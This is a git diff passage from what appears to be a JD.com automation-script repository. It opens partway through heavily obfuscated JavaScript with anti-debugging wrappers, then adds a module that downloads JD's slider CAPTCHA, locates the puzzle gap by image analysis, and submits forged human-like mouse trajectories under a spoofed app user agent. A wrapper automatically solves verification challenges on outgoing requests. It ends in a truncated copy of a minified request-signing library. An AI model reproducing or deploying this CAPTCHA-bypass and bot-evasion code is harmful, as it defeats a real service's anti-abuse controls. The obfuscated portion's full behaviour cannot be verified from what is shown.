_0x439e9f={_0x2884f1:'\x30\x78\x35\x30\x38'},_0x1c7c6f={_0x5f416a:'\x47\x78\x66\x6a',_0x99f75c:'\x30\x78\x33\x61\x33',_0x5482d4:'\x30\x78\x32\x31\x64',_0x3fcb65:'\x24\x70\x4f\x42',_0x5cd8a0:'\x30\x78\x31\x39\x63',_0x1078ce:'\x23\x45\x39\x48',_0x808a4e:'\x30\x78\x32\x39\x31',_0x113b2a:'\x67\x49\x61\x57',_0x284903:'\x30\x78\x31\x39\x64',_0x5de735:'\x51\x55\x28\x62',_0x118311:'\x30\x78\x31\x64\x64',_0x1a9460:'\x72\x4e\x47\x61'},_0x4f05d2={_0xbe76ca:'\x30\x78\x33\x63\x63'},_0x7fc258={_0x3b8ffa:'\x30\x78\x31\x39\x64',_0x430971:'\x61\x41\x4b\x7a'},_0x15825e={_0x2eebd9:'\x30\x78\x63\x66'},_0x30c88b={_0x2cd462:'\x30\x78\x34\x33\x39'},_0x35d35d={_0x2c65f0:'\x30\x78\x34\x35\x30'};function _0x4d8cee(_0x539780,_0x237f33){return _0x5de96d(_0x237f33,_0x539780- -_0x35d35d._0x2c65f0);}function _0x4980a5(_0x38e68b,_0x68d05f){return _0x464ec4(_0x68d05f- -_0x30c88b._0x2cd462,_0x38e68b);}function _0x52fe11(_0x376013,_0x43ffeb){return _0x464ec4(_0x43ffeb- -_0x295c18._0x514bf2,_0x376013);}const _0x34a4b1={'\x66\x6b\x43\x79\x72':_0x1d2076[_0x4980a5(_0x25a968._0x4f414c,-_0x25a968._0x590ae4)],'\x61\x5a\x69\x4d\x63':_0x1d2076[_0x4d8cee(-_0x25a968._0xe29e26,_0x25a968._0x5d61d6)],'\x4c\x63\x69\x65\x71':_0x1d2076[_0x52fe11(_0x25a968._0x3c15f1,-_0x25a968._0x32ce18)],'\x75\x72\x4e\x63\x48':function(_0x10feab,_0x5b6637){return _0x10feab===_0x5b6637;},'\x55\x79\x47\x47\x67':_0x1d2076[_0x4d8cee(-_0x25a968._0x57bd42,_0x25a968._0x165ae5)],'\x55\x58\x53\x6d\x72':_0x1d2076[_0x4980a5(_0x25a968._0xc9afb,-_0x25a968._0x3fa7e5)],'\x4c\x74\x63\x78\x48':function(_0x483f06,_0x361c39){const _0x312d46={_0x8d567d:'\x30\x78\x31'};function _0x23acaf(_0x56d74c,_0x4ba169){return _0x4980a5(_0x4ba169,_0x56d74c- -_0x312d46._0x8d567d);}return _0x1d2076[_0x23acaf(-_0x1f87f2._0x19e074,_0x1f87f2._0x569d60)](_0x483f06,_0x361c39);},'\x43\x4e\x4d\x50\x6c':function(_0x24114b,_0xb4e144){const _0x46dfc7={_0x5c5df8:'\x30\x78\x33\x62\x37'};function _0x72bd8a(_0xf32dd7,_0xb6711){return _0x4d8cee(_0xb6711-_0x46dfc7._0x5c5df8,_0xf32dd7);}return _0x1d2076[_0x72bd8a(_0x11dca7._0x5f2ce8,_0x11dca7._0x98f47c)](_0x24114b,_0xb4e144);},'\x58\x53\x6a\x68\x7a':function(_0x30b76a,_0x2363e8){function _0x5ad3e4(_0x465ee9,_0x7522f2){return _0x4980a5(_0x7522f2,_0x465ee9- -_0x15825e._0x2eebd9);}return _0x1d2076[_0x5ad3e4(-_0x7fc258._0x3b8ffa,_0x7fc258._0x430971)](_0x30b76a,_0x2363e8);}};if(typeof _0x344fca===_0x4d8cee(-_0x25a968._0x475788,_0x25a968._0x3c223c))return function(_0x20b6b0){}[_0x52fe11(_0x25a968._0x5e2243,-_0x25a968._0x567ccf)](_0x1d2076[_0x4980a5(_0x25a968._0xf6357f,-_0x25a968._0x4b547e)])[_0x4d8cee(-_0x25a968._0x46f1c7,_0x25a968._0x367f44)](_0x1d2076[_0x52fe11(_0x25a968._0x92a610,-_0x25a968._0x3e8c7a)]);else{if(_0x1d2076[_0x4d8cee(-_0x25a968._0x80113,_0x25a968._0x1960e0)](_0x1d2076[_0x52fe11(_0x25a968._0x236341,-_0x25a968._0x58ef3b)],_0x1d2076[_0x4d8cee(-_0x25a968._0x568039,_0x25a968._0x299b54)]))(''+_0x1d2076[_0x4980a5(_0x25a968._0x48ef4e,-_0x25a968._0x103769)](_0x344fca,_0x344fca))[_0x4d8cee(-_0x25a968._0xd6149b,_0x25a968._0x425a3e)]!==-0x19a+0x426*0x3+-0xad7||_0x1d2076[_0x4980a5(_0x25a968._0x3e7f55,-_0x25a968._0x4dafe4)](_0x1d2076[_0x52fe11(_0x25a968._0x299b54,-_0x25a968._0x404042)](_0x344fca,0x5*0x73c+-0x443+0x1*-0x1fd5),-0x13a7+0x1a4+0x1203)?function(){const _0x45940f={_0x3a8fb0:'\x65\x4a\x42\x6f',_0x4508f6:'\x30\x78\x31\x33\x64',_0x3ed7ac:'\x40\x32\x7a\x4e',_0x157317:'\x30\x78\x31\x32\x61',_0x5d8527:'\x54\x2a\x4e\x39',_0x2b96bb:'\x30\x78\x36\x34',_0x567195:'\x42\x5e\x55\x56',_0x678461:'\x30\x78\x32\x31\x34',_0x2cd9e1:'\x63\x5e\x6f\x66',_0x154712:'\x30\x78\x32\x38\x65',_0xc30efb:'\x50\x54\x77\x28',_0x5a1c54:'\x30\x78\x39\x32',_0x58397e:'\x30\x78\x32\x63\x61',_0x4d7c90:'\x48\x62\x6f\x36',_0x322df0:'\x23\x44\x78\x41',_0x18ad94:'\x30\x78\x33\x66',_0x4f3e1e:'\x30\x78\x32\x30\x64'},_0x40b7ce={_0x4d38fc:'\x30\x78\x31\x34\x64'},_0x34121d={_0x59c531:'\x30\x78\x34\x34\x30'};function _0x4f59cd(_0x262121,_0x93bc9b){return _0x4d8cee(_0x262121-_0x34121d._0x59c531,_0x93bc9b);}function _0x3386ab(_0x104793,_0x2f9dd5){return _0x52fe11(_0x104793,_0x2f9dd5-_0x4f05d2._0xbe76ca);}function _0x3c794c(_0x497e55,_0x4293dc){return _0x4980a5(_0x4293dc,_0x497e55- -_0x40b7ce._0x4d38fc);}if(_0x34a4b1[_0x3386ab(_0x1c7c6f._0x5f416a,_0x1c7c6f._0x99f75c)](_0x34a4b1[_0x4f59cd(_0x1c7c6f._0x5482d4,_0x1c7c6f._0x3fcb65)],_0x3c794c(-_0x1c7c6f._0x5cd8a0,_0x1c7c6f._0x1078ce)))return!![];else{const _0x18b225={_0x3cae69:'\x30\x78\x31\x34\x36'},_0x109878={_0x117e26:'\x30\x78\x31\x34\x64'},_0x1d17ce={_0x568a63:'\x30\x78\x65\x35'},_0x55f47f={'\x6b\x4c\x65\x75\x69':_0x34a4b1[_0x4f59cd(_0x1c7c6f._0x808a4e,_0x1c7c6f._0x113b2a)],'\x59\x59\x4d\x66\x68':function(_0x4d55c0,_0x4d2e0d){return _0x4d55c0(_0x4d2e0d);},'\x74\x4e\x70\x4a\x78':function(_0x27618a,_0x28eb58){return _0x27618a+_0x28eb58;},'\x61\x6c\x75\x56\x68':_0x34a4b1[_0x3c794c(-_0x1c7c6f._0x284903,_0x1c7c6f._0x5de735)],'\x78\x6c\x45\x46\x49':_0x34a4b1[_0x3c794c(-_0x1c7c6f._0x118311,_0x1c7c6f._0x1a9460)]};_0x37f1c8(this,function(){function _0x565e92(_0x3a457f,_0x3dbfe5){return _0x3386ab(_0x3dbfe5,_0x3a457f- -_0x1d17ce._0x568a63);}const _0x508145=new _0xc9195b(_0x43c34b(_0x45940f._0x3a8fb0,-_0x45940f._0x4508f6)),_0x1a9c19=new _0x4b7c30(_0x55f47f[_0x43c34b(_0x45940f._0x3ed7ac,-_0x45940f._0x157317)],'\x69');function _0x43c34b(_0x251e15,_0x55364b){return _0x3c794c(_0x55364b-_0x109878._0x117e26,_0x251e15);}function _0x2d2c5f(_0x3ffe12,_0x1294d9){return _0x3386ab(_0x3ffe12,_0x1294d9- -_0x18b225._0x3cae69);}const _0x5f4ea6=_0x55f47f[_0x43c34b(_0x45940f._0x5d8527,-_0x45940f._0x2b96bb)](_0xb93e37,_0x2d2c5f(_0x45940f._0x567195,_0x45940f._0x678461));!_0x508145[_0x2d2c5f(_0x45940f._0x2cd9e1,_0x45940f._0x154712)](_0x55f47f[_0x43c34b(_0x45940f._0xc30efb,-_0x45940f._0x5a1c54)](_0x5f4ea6,_0x55f47f[_0x565e92(_0x45940f._0x58397e,_0x45940f._0x4d7c90)]))||!_0x1a9c19[_0x43c34b(_0x45940f._0x322df0,-_0x45940f._0x18ad94)](_0x5f4ea6+_0x55f47f[_0x565e92(_0x45940f._0x4f3e1e,_0x45940f._0x3ed7ac)])?_0x5f4ea6('\x30'):_0x487f85();})();}}[_0x4980a5(_0x25a968._0x61d25e,-_0x25a968._0x15e192)](_0x1d2076[_0x52fe11(_0x25a968._0x1064d9,-_0x25a968._0x337b7b)](_0x1d2076[_0x4d8cee(-_0x25a968._0x50b0bd,_0x25a968._0x2760f6)],_0x4d8cee(-_0x25a968._0x54df18,_0x25a968._0x3e7f55)))[_0x52fe11(_0x25a968._0x20e6b9,-_0x25a968._0x14ed37)](_0x1d2076[_0x4980a5(_0x25a968._0x52f1a5,-_0x25a968._0x4d4330)]):function(){const _0x317042={_0x2e1505:'\x30\x78\x31\x32\x63'};function _0x7731c0(_0x5930c9,_0x138ce4){return _0x4d8cee(_0x138ce4-_0x439e9f._0x2884f1,_0x5930c9);}function _0x3ba1dc(_0x8dae26,_0x69cd6b){return _0x4980a5(_0x69cd6b,_0x8dae26- -_0x317042._0x2e1505);}return _0x3ba1dc(-_0x4e1a28._0xccf063,_0x4e1a28._0x5b1955)===_0x3ba1dc(-_0x4e1a28._0x304837,_0x4e1a28._0x308652)?![]:![];}[_0x4980a5(_0x25a968._0x20e6b9,-_0x25a968._0x4c08fc)](_0x1d2076[_0x4d8cee(-_0x25a968._0x15a388,_0x25a968._0x20e6b9)]+_0x1d2076[_0x4980a5(_0x25a968._0x7d3a5e,-_0x25a968._0x4f938f)])[_0x4d8cee(-_0x25a968._0x5bd62c,_0x25a968._0x3ae60e)](_0x1d2076[_0x52fe11(_0x25a968._0x59f68a,-_0x25a968._0x12ef92)]);else{const _0x26d907=new _0x76c186(_0x34a4b1[_0x52fe11(_0x25a968._0x4f6646,-_0x25a968._0x1d45f7)]),_0x34bfa8=new _0x27a9d6(_0x34a4b1[_0x4d8cee(-_0x25a968._0x1b8c15,_0x25a968._0x7d3a5e)],'\x69'),_0xb70da1=_0x34a4b1[_0x4d8cee(-_0x25a968._0x12b60d,_0x25a968._0x32180e)](_0x330515,_0x4d8cee(-_0x25a968._0xdf4f7,_0x25a968._0x4f1dc6));!_0x26d907[_0x4980a5(_0x25a968._0x4d96ac,-_0x25a968._0x142c49)](_0x34a4b1[_0x52fe11(_0x25a968._0xcc7db8,-_0x25a968._0x43f3d7)](_0xb70da1,_0x34a4b1[_0x4d8cee(-_0x25a968._0x3f151b,_0x25a968._0x5c2adc)]))||!_0x34bfa8[_0x4980a5(_0x25a968._0xb5ac0a,-_0x25a968._0x5eab9c)](_0xb70da1+_0x34a4b1[_0x4980a5(_0x25a968._0x2af705,-_0x25a968._0x52aea1)])?_0x34a4b1[_0x4980a5(_0x25a968._0x3c223c,-_0x25a968._0x1be937)](_0xb70da1,'\x30'):_0x3f6b16();}}_0x1d2076[_0x4d8cee(-_0x25a968._0x3a664d,_0x25a968._0x38d6ba)](_0x6ff9e8,++_0x344fca);}try{if(_0x1d2076[_0x3a1d7c(_0x2afaa5._0x2af89c,-_0x2afaa5._0x42b84b)]!==_0x464ec4(_0x2afaa5._0x15d118,_0x2afaa5._0x35f23b)){if(_0x31fb16){if(_0x3a1d7c(_0x2afaa5._0x57e71f,-_0x2afaa5._0x16e677)===_0x1d2076[_0x464ec4(_0x2afaa5._0x2138ed,_0x2afaa5._0x355755)])(function(){return!![];}[_0x5de96d(_0x2afaa5._0x2dd4a5,_0x2afaa5._0x5b2688)](_0x1d2076[_0x464ec4(_0x2afaa5._0x4302f0,_0x2afaa5._0x152c96)](_0x1d2076[_0x464ec4(_0x2afaa5._0x538bb6,_0x2afaa5._0x31a42c)],_0x3a1d7c(_0x2afaa5._0x313bee,-_0x2afaa5._0x4da75c)))[_0x3a1d7c(_0x2afaa5._0x85ae13,-_0x2afaa5._0x49f113)](_0x1d2076[_0x5de96d(_0x2afaa5._0xaed864,_0x2afaa5._0x1b182e)]));else return _0x6ff9e8;}else _0x1d2076[_0x464ec4(_0x2afaa5._0x44e125,_0x2afaa5._0x5f247b)]!==_0x1d2076[_0x5de96d(_0x2afaa5._0x3097d9,_0x2afaa5._0x4f0bff)]?_0x6ff9e8(-0x2080+-0x302+0xbd6*0x3):_0x4e6260+=_0x1e903e[_0x1d2076[_0x464ec4(_0x2afaa5._0x593fae,_0x2afaa5._0x39d9fb)](_0x54b8d8[_0x3a1d7c(_0x2afaa5._0x55c192,-_0x2afaa5._0x509b4b)](_0x1d2076[_0x5de96d(_0x2afaa5._0x4e70b2,_0x2afaa5._0x4b663b)](0x4*0x20057a9+0xb766b29+-0xd81e8cd,_0x298b00[_0x3a1d7c(_0x2afaa5._0x2491d7,-_0x2afaa5._0xee372b)]())),_0x5f4e9f[_0x5de96d(_0x2afaa5._0x245db2,_0x2afaa5._0x500755)])];}else{const _0x51e12={_0x1cafcd:'\x30\x78\x35\x35\x61',_0x1d8dd8:'\x4b\x36\x41\x32'},_0x41fc6f={_0xf6e983:'\x30\x78\x31\x38\x36'},_0x40e41e=_0x53d402?function(){function _0x242849(_0x4bf676,_0x745d3f){return _0x464ec4(_0x4bf676-_0x41fc6f._0xf6e983,_0x745d3f);}if(_0x49b005){const _0x1a8f64=_0x4a949c[_0x242849(_0x51e12._0x1cafcd,_0x51e12._0x1d8dd8)](_0x5b7935,arguments);return _0x3eaa90=null,_0x1a8f64;}}:function(){};return _0x5c9cd4=![],_0x40e41e;}}catch(_0x28ec9c){}} \ No newline at end of file diff --git a/jd/desktop.ini b/jd/desktop.ini new file mode 100644 index 00000000..61d038c0 --- /dev/null +++ b/jd/desktop.ini @@ -0,0 +1,2 @@ +[LocalizedFileNames] +jd_fruit_new.js=@jd_fruit_new,0 diff --git a/jd/function/JDJRValidator_Pure_smiek.js b/jd/function/JDJRValidator_Pure_smiek.js new file mode 100644 index 00000000..84e495e6 --- /dev/null +++ b/jd/function/JDJRValidator_Pure_smiek.js @@ -0,0 +1,539 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; \ No newline at end of file diff --git a/jd/function/assets/index_1.js b/jd/function/assets/index_1.js new file mode 100644 index 00000000..51ff65fc --- /dev/null +++ b/jd/function/assets/index_1.js @@ -0,0 +1,15 @@ +var ParamsSign=function(){"use strict";var n="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function t(n){if(n.__esModule)return n;var t=Object.defineProperty({},"__esModule",{value:!0});return Object.keys(n).forEach((function(r){var e=Object.getOwnPropertyDescriptor(n,r);Object.defineProperty(t,r,e.get?e:{enumerable:!0,get:function(){return n[r]}})})),t}function r(n,t,r,e,i,u,o){try{var c=n[u](o),a=c.value}catch(n){return void r(n)}c.done?t(a):Promise.resolve(a).then(e,i)}var e=function(n){return function(){var t=this,e=arguments;return new Promise((function(i,u){var o=n.apply(t,e);function c(n){r(o,i,u,c,a,"next",n)}function a(n){r(o,i,u,c,a,"throw",n)}c(void 0)}))}};var i=function(n,t){if(!(n instanceof t))throw new TypeError("Cannot call a class as a function")};function u(n,t){for(var r=0;r=0;--u){var o=this.tryEntries[u],c=o.completion;if("root"===o.tryLoc)return i("end");if(o.tryLoc<=this.prev){var a=e.call(o,"catchLoc"),f=e.call(o,"finallyLoc");if(a&&f){if(this.prev=0;--r){var i=this.tryEntries[r];if(i.tryLoc<=this.prev&&e.call(i,"finallyLoc")&&this.prev=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===n)return this.complete(r.completion,r.afterLoc),L(r),p}},catch:function(n){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===n){var e=r.completion;if("throw"===e.type){var i=e.arg;L(r)}return i}}throw new Error("illegal catch attempt")},delegateYield:function(n,r,e){return this.delegate={iterator:q(n),resultName:r,nextLoc:e},"next"===this.method&&(this.arg=t),p}},n}(n.exports);try{regeneratorRuntime=t}catch(n){Function("r","regeneratorRuntime = r")(t)}}(s);var v=s.exports,h={exports:{}},l=!0,x=!0,d=window.JD,p=function(n){var t,r="WXSQ_STOARGE_TEST";try{return 